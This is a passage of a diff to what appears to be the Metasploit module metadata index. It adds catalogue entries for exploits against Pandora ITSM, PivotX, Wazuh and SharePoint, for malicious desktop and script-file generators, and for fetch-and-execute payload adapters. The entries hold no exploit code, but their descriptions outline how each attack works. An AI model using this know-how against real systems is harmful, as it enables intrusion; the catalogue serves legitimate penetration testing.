"aliases": [],
"rank": 600,
"disclosure_date": "2025-06-10",
"type": "exploit",
"author": [
"h00die-gr3y <h00die.gr3y@gmail.com>"
],
"description": "Pandora ITSM is a platform for Service Management & Support including a Helpdesk for support\n and customer service teams, aligned with ITIL processes.\n This module exploits a command injection vulnerability in the `name` backup setting at the\n application setup page of Pandora ITSM. This can be triggered by generating a backup with a\n malicious payload injected at the `name` parameter.\n You need to have admin access at the Pandora ITSM Web application in order to execute this RCE.\n This access can be achieved by knowing the admin credentials to access the web application or\n leveraging a default password vulnerability in Pandora ITSM that allows an attacker to access\n the Pandora FMS ITSM database, create a new admin user and gain administrative access to the\n Pandora ITSM Web application. This attack can be remotely executed over the WAN as long as the\n MySQL services are exposed to the outside world.\n This issue affects all ITSM Enterprise editions up to `5.0.105` and is patched at `5.0.106`.",
"references": [
"CVE-2025-4653",
"URL-https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/",
"URL-https://github.com/h00die-gr3y/h00die-gr3y/security/advisories/GHSA-m4f8-9c8x-8f3f",
"URL-https://attackerkb.com/topics/wgCb1QQm1t/cve-2025-4653"
],
"platform": "Linux,Unix",
"arch": "cmd",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix/Linux Command"
],
"mod_time": "2025-08-06 08:22:06 +0000",
"path": "/modules/exploits/linux/http/pandora_itsm_auth_rce_cve_2025_4653.rb",
"is_install_path": true,
"ref_name": "linux/http/pandora_itsm_auth_rce_cve_2025_4653",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/pandora_ping_cmd_exec": {
"name": "Pandora FMS Ping Authenticated Remote Code Execution",
"fullname": "exploit/linux/http/pandora_ping_cmd_exec",
@@ -81685,6 +81949,66 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/pivotx_index_php_overwrite": {
"name": "PivotX Remote Code Execution",
"fullname": "exploit/linux/http/pivotx_index_php_overwrite",
"aliases": [],
"rank": 600,
"disclosure_date": "2025-07-10",
"type": "exploit",
"author": [
"HayToN",
"msutovsky-r7"
],
"description": "This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.",
"references": [
"EDB-52361",
"URL-https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3",
"CVE-2025-52367"
],
"platform": "",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Linux"
],
"mod_time": "2025-08-12 10:42:46 +0000",
"path": "/modules/exploits/linux/http/pivotx_index_php_overwrite.rb",
"is_install_path": true,
"ref_name": "linux/http/pivotx_index_php_overwrite",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/progress_flowmon_unauth_cmd_injection": {
"name": "Flowmon Unauthenticated Command Injection",
"fullname": "exploit/linux/http/progress_flowmon_unauth_cmd_injection",
@@ -86638,6 +86962,66 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/wazuh_auth_rce_cve_2025_24016": {
"name": "Wazuh server remote code execution caused by an unsafe deserialization vulnerability.",
"fullname": "exploit/linux/http/wazuh_auth_rce_cve_2025_24016",
"aliases": [],
"rank": 600,
"disclosure_date": "2025-02-10",
"type": "exploit",
"author": [
"h00die-gr3y <h00die.gr3y@gmail.com>",
"DanielFi https://github.com/DanielFi"
],
"description": "Wazuh is a free and open source platform used for threat prevention, detection, and response.\n Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability\n allows for remote code execution on Wazuh servers. DistributedAPI parameters are serialized\n as JSON and deserialized using `as_wazuh_object` (in `framework/wazuh/core/cluster/common.py`).\n If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can\n forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code.\n The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh\n servers in the cluster) or, in certain configurations, even by a compromised agent.",
"references": [
"CVE-2025-24016",
"URL-https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh",
"URL-https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016"
],
"platform": "Linux,Unix",
"arch": "cmd",
"rport": 55000,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix/Linux Command"
],
"mod_time": "2025-07-30 20:24:56 +0000",
"path": "/modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb",
"is_install_path": true,
"ref_name": "linux/http/wazuh_auth_rce_cve_2025_24016",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/wd_mycloud_multiupload_upload": {
"name": "Western Digital MyCloud multi_uploadify File Upload Vulnerability",
"fullname": "exploit/linux/http/wd_mycloud_multiupload_upload",
@@ -100700,6 +101084,52 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/fileformat/xdg_desktop": {
"name": "Malicious XDG Desktop File",
"fullname": "exploit/multi/fileformat/xdg_desktop",
"aliases": [],
"rank": 500,
"disclosure_date": "2007-02-06",
"type": "exploit",
"author": [
"bcoles <bcoles@gmail.com>"
],
"description": "This module creates a malicious XDG Desktop (.desktop) file.\n\n On most modern systems, desktop files are not trusted by default.\n The user will receive a warning prompt that the file is not trusted\n when running the file, but may choose to run the file anyway.\n\n The default file manager applications in some desktop environments\n may impose more strict execution requirements by prompting the user\n to set the file as executable and/or marking the file as trusted\n before the file can be executed.",
"references": [
"ATT&CK-T1204.002",
"URL-https://specifications.freedesktop.org/desktop-entry-spec/latest/",
"URL-https://specifications.freedesktop.org/desktop-entry-spec/latest/exec-variables.html",
"URL-https://wiki.archlinux.org/title/Desktop_entries"
],
"platform": "FreeBSD,Linux,Solaris,Unix",
"arch": "cmd",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Automatic"
],
"mod_time": "2025-08-04 19:23:02 +0000",
"path": "/modules/exploits/multi/fileformat/xdg_desktop.rb",
"is_install_path": true,
"ref_name": "multi/fileformat/xdg_desktop",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"screen-effects"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/fileformat/zip_slip": {
"name": "Generic Zip Slip Traversal Vulnerability",
"fullname": "exploit/multi/fileformat/zip_slip",
@@ -164159,6 +164589,92 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/fileformat/windows_script_host_jscript": {
"name": "Malicious Windows Script Host JScript (.js) File",
"fullname": "exploit/windows/fileformat/windows_script_host_jscript",
"aliases": [],
"rank": 500,
"disclosure_date": "1998-06-25",
"type": "exploit",
"author": [
"bcoles <bcoles@gmail.com>"
],
"description": "This module creates a Windows Script Host (WSH) JScript (.js) file.",
"references": [
"ATT&CK-T1204.002"
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Microsoft Windows 98 or newer"
],
"mod_time": "2025-07-25 18:43:33 +0000",
"path": "/modules/exploits/windows/fileformat/windows_script_host_jscript.rb",
"is_install_path": true,
"ref_name": "windows/fileformat/windows_script_host_jscript",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"screen-effects"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/fileformat/windows_script_host_vbscript": {
"name": "Malicious Windows Script Host VBScript (.vbs) File",
"fullname": "exploit/windows/fileformat/windows_script_host_vbscript",
"aliases": [],
"rank": 500,
"disclosure_date": "1998-06-25",
"type": "exploit",
"author": [
"bcoles <bcoles@gmail.com>"
],
"description": "This module creates a Windows Script Host (WSH) VBScript (.vbs) file.",
"references": [
"ATT&CK-T1204.002"
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Microsoft Windows 98 or newer"
],
"mod_time": "2025-07-25 18:46:47 +0000",
"path": "/modules/exploits/windows/fileformat/windows_script_host_vbscript.rb",
"is_install_path": true,
"ref_name": "windows/fileformat/windows_script_host_vbscript",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"screen-effects"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/fileformat/winrar_ace": {
"name": "RARLAB WinRAR ACE Format Input Validation Remote Code Execution",
"fullname": "exploit/windows/fileformat/winrar_ace",
@@ -179190,6 +179706,81 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/http/sharepoint_toolpane_rce": {
"name": "Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell)",
"fullname": "exploit/windows/http/sharepoint_toolpane_rce",
"aliases": [],
"rank": 600,
"disclosure_date": "2025-07-08",
"type": "exploit",
"author": [
"Viettel Cyber Security",
"sfewer-r7"
],
"description": "This module exploits the authentication bypass vulnerabilities CVE-2025-49706 and CVE-2025-53771, and an unsafe\n deserialization vulnerability CVE-2025-49704, to achieve unauthenticated RCE against a vulnerable Microsoft\n SharePoint Server. The vulnerability CVE-2025-53770 was disclosed as being a patch bypass of CVE-2025-49704,\n and as described by the finders, CVE-2025-53770 targets a different endpoint within the /_vti_bin/ URI path.\n As this exploit module does not target the endpoint associated with CVE-2025-53770 (per the original finders),\n we believe this module is best described as exploiting CVE-2025-49704 and not CVE-2025-53770.",
"references": [
"CVE-2025-49704",
"CVE-2025-49706",
"CVE-2025-53770",
"CVE-2025-53771",
"URL-https://blog.viettelcybersecurity.com/sharepoint-toolshell/",
"URL-https://blog.leakix.net/2025/07/using-their-own-weapons-for-defense-a-sharepoint-story/",
"URL-https://securelist.com/toolshell-explained/",
"URL-https://www.zerodayinitiative.com/advisories/ZDI-25-580/",
"URL-https://www.zerodayinitiative.com/advisories/ZDI-25-581/",
"URL-https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49704",
"URL-https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49706",
"URL-https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770",
"URL-https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53771",
"URL-https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/",
"URL-https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/",
"URL-https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501",
"URL-https://x.com/codewhitesec/status/1944743478350557232",
"URL-https://x.com/thezdi/status/1923317597673533552",
"URL-https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html"
],
"platform": "Windows",
"arch": "cmd",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Default"
],
"mod_time": "2025-08-06 15:33:57 +0000",
"path": "/modules/exploits/windows/http/sharepoint_toolpane_rce.rb",
"is_install_path": true,
"ref_name": "windows/http/sharepoint_toolpane_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/http/sharepoint_unsafe_control": {
"name": "Microsoft SharePoint Unsafe Control and ViewState RCE",
"fullname": "exploit/windows/http/sharepoint_unsafe_control",
@@ -189521,7 +190112,7 @@
"targets": [
"Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1"
],
"mod_time": "2025-06-23 12:43:46 +0000",
"mod_time": "2025-07-30 16:13:01 +0000",
"path": "/modules/exploits/windows/misc/achat_bof.rb",
"is_install_path": true,
"ref_name": "windows/misc/achat_bof",
@@ -203569,7 +204160,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-09 07:19:14 +0000",
"path": "/modules/payloads/singles/android/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "android/meterpreter_reverse_http",
@@ -203598,7 +204189,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-09 07:19:14 +0000",
"path": "/modules/payloads/singles/android/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "android/meterpreter_reverse_https",
@@ -203627,7 +204218,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-09 07:19:14 +0000",
"path": "/modules/payloads/singles/android/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "android/meterpreter_reverse_tcp",
@@ -203766,7 +204357,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "apple_ios/aarch64/meterpreter_reverse_http",
@@ -203799,7 +204390,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "apple_ios/aarch64/meterpreter_reverse_https",
@@ -203832,7 +204423,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "apple_ios/aarch64/meterpreter_reverse_tcp",
@@ -203894,7 +204485,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "apple_ios/armle/meterpreter_reverse_http",
@@ -203927,7 +204518,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "apple_ios/armle/meterpreter_reverse_https",
@@ -203960,7 +204551,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "apple_ios/armle/meterpreter_reverse_tcp",
@@ -204344,7 +204935,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-09 07:19:14 +0000",
"path": "/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb",
"is_install_path": true,
"ref_name": "bsd/x86/metsvc_bind_tcp",
@@ -204375,7 +204966,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-20 02:57:34 +0000",
"mod_time": "2025-04-09 07:19:14 +0000",
"path": "/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "bsd/x86/metsvc_reverse_tcp",
@@ -220551,6 +221142,40 @@
"stage_refname": "windows/x64/custom",
"stager_refname": "windows/x64/reverse_winhttps"
},
"payload_cmd/windows/http/x64/download_exec": {
"name": "HTTP Fetch",
"fullname": "payload/cmd/windows/http/x64/download_exec",
"aliases": [],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Brendan Watters",
"Muzaffer Umut ŞAHİN <mailatmayinlutfen@gmail.com>"
],
"description": "Fetch and execute an x64 payload from an HTTP server.",
"references": [],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2024-01-03 14:46:15 +0000",
"path": "/modules/payloads/adapters/cmd/windows/http/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/http/x64/download_exec",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {},
"session_types": false,
"needs_cleanup": false,
"payload_type": 8,
"adapter_refname": "cmd/windows/http/x64",
"adapted_refname": "windows/x64/download_exec",
"staged": false
},
"payload_cmd/windows/http/x64/encrypted_shell/reverse_tcp": {
"name": "HTTP Fetch, Windows Command Shell, Encrypted Reverse TCP Stager",
"fullname": "payload/cmd/windows/http/x64/encrypted_shell/reverse_tcp",
@@ -223558,6 +224183,40 @@
"stage_refname": "windows/x64/custom",
"stager_refname": "windows/x64/reverse_winhttps"
},
"payload_cmd/windows/https/x64/download_exec": {
"name": "HTTPS Fetch",
"fullname": "payload/cmd/windows/https/x64/download_exec",
"aliases": [],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Brendan Watters",
"Muzaffer Umut ŞAHİN <mailatmayinlutfen@gmail.com>"
],
"description": "Fetch and execute an x64 payload from an HTTPS server.",
"references": [],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2024-01-03 14:46:15 +0000",
"path": "/modules/payloads/adapters/cmd/windows/https/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/https/x64/download_exec",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {},
"session_types": false,
"needs_cleanup": false,
"payload_type": 8,
"adapter_refname": "cmd/windows/https/x64",
"adapted_refname": "windows/x64/download_exec",
"staged": false
},
"payload_cmd/windows/https/x64/encrypted_shell/reverse_tcp": {
"name": "HTTPS Fetch, Windows Command Shell, Encrypted Reverse TCP Stager",
"fullname": "payload/cmd/windows/https/x64/encrypted_shell/reverse_tcp",
@@ -235118,6 +235777,40 @@
"stage_refname": "windows/x64/custom",
"stager_refname": "windows/x64/reverse_winhttps"
},
"payload_cmd/windows/powershell/x64/download_exec": {
"name": "Powershell Exec",
"fullname": "payload/cmd/windows/powershell/x64/download_exec",
"aliases": [],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"Muzaffer Umut ŞAHİN <mailatmayinlutfen@gmail.com>"
],
"description": "Execute an x64 payload from a command via PowerShell",
"references": [],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/download_exec",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {},
"session_types": false,
"needs_cleanup": false,
"payload_type": 8,
"adapter_refname": "cmd/windows/powershell/x64",
"adapted_refname": "windows/x64/download_exec",
"staged": false
},
"payload_cmd/windows/powershell/x64/encrypted_shell/reverse_tcp": {
"name": "Powershell Exec, Windows Command Shell, Encrypted Reverse TCP Stager",
"fullname": "payload/cmd/windows/powershell/x64/encrypted_shell/reverse_tcp",
@@ -238743,6 +239436,40 @@
"stage_refname": "windows/x64/custom",
"stager_refname": "windows/x64/reverse_winhttps"
},
"payload_cmd/windows/smb/x64/download_exec": {
"name": "SMB Fetch",
"fullname": "payload/cmd/windows/smb/x64/download_exec",
"aliases": [],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"Muzaffer Umut ŞAHİN <mailatmayinlutfen@gmail.com>"
],
"description": "Fetch and execute an x64 payload from an SMB server.",
"references": [],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-02-07 15:59:31 +0000",
"path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/smb/x64/download_exec",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {},
"session_types": false,
"needs_cleanup": false,
"payload_type": 8,
"adapter_refname": "cmd/windows/smb/x64",
"adapted_refname": "windows/x64/download_exec",
"staged": false
},
"payload_cmd/windows/smb/x64/encrypted_shell/reverse_tcp": {
"name": "SMB Fetch, Windows Command Shell, Encrypted Reverse TCP Stager",
"fullname": "payload/cmd/windows/smb/x64/encrypted_shell/reverse_tcp",
@@ -241750,6 +242477,40 @@
"stage_refname": "windows/x64/custom",
"stager_refname": "windows/x64/reverse_winhttps"
},
"payload_cmd/windows/tftp/x64/download_exec": {
"name": "TFTP Fetch",
"fullname": "payload/cmd/windows/tftp/x64/download_exec",
"aliases": [],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Brendan Watters",
"Muzaffer Umut ŞAHİN <mailatmayinlutfen@gmail.com>"
],
"description": "Fetch and execute an x64 payload from a TFTP server.",
"references": [],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2024-01-03 14:46:15 +0000",
"path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/tftp/x64/download_exec",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {},
"session_types": false,
"needs_cleanup": false,
"payload_type": 8,
"adapter_refname": "cmd/windows/tftp/x64",
"adapted_refname": "windows/x64/download_exec",
"staged": false
},
"payload_cmd/windows/tftp/x64/encrypted_shell/reverse_tcp": {
"name": "TFTP Fetch, Windows Command Shell, Encrypted Reverse TCP Stager",
"fullname": "payload/cmd/windows/tftp/x64/encrypted_shell/reverse_tcp",
@@ -244893,7 +245654,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/meterpreter_reverse_http",
@@ -244926,7 +245687,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/meterpreter_reverse_https",
@@ -244959,7 +245720,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/meterpreter_reverse_tcp",
@@ -245052,7 +245813,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/armbe/meterpreter_reverse_http",
@@ -245085,7 +245846,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/armbe/meterpreter_reverse_https",
@@ -245118,7 +245879,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armbe/meterpreter_reverse_tcp",
@@ -245315,7 +246076,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/armle/meterpreter_reverse_http",
@@ -245348,7 +246109,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/armle/meterpreter_reverse_https",
@@ -245381,7 +246142,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armle/meterpreter_reverse_tcp",
@@ -245544,7 +246305,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/mips64/meterpreter_reverse_http",
@@ -245577,7 +246338,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/mips64/meterpreter_reverse_https",
@@ -245610,7 +246371,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mips64/meterpreter_reverse_tcp",
@@ -245712,7 +246473,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/meterpreter_reverse_http",
@@ -245745,7 +246506,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/meterpreter_reverse_https",
@@ -245778,7 +246539,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/meterpreter_reverse_tcp",
@@ -246016,7 +246777,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/meterpreter_reverse_http",
@@ -246049,7 +246810,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/meterpreter_reverse_https",
@@ -246082,7 +246843,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/meterpreter_reverse_tcp",
@@ -246249,7 +247010,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/ppc/meterpreter_reverse_http",
@@ -246282,7 +247043,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-19 12:03:14 +0000",
"mod_time": "2025-08-07 15:28:56 +0000",
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb",
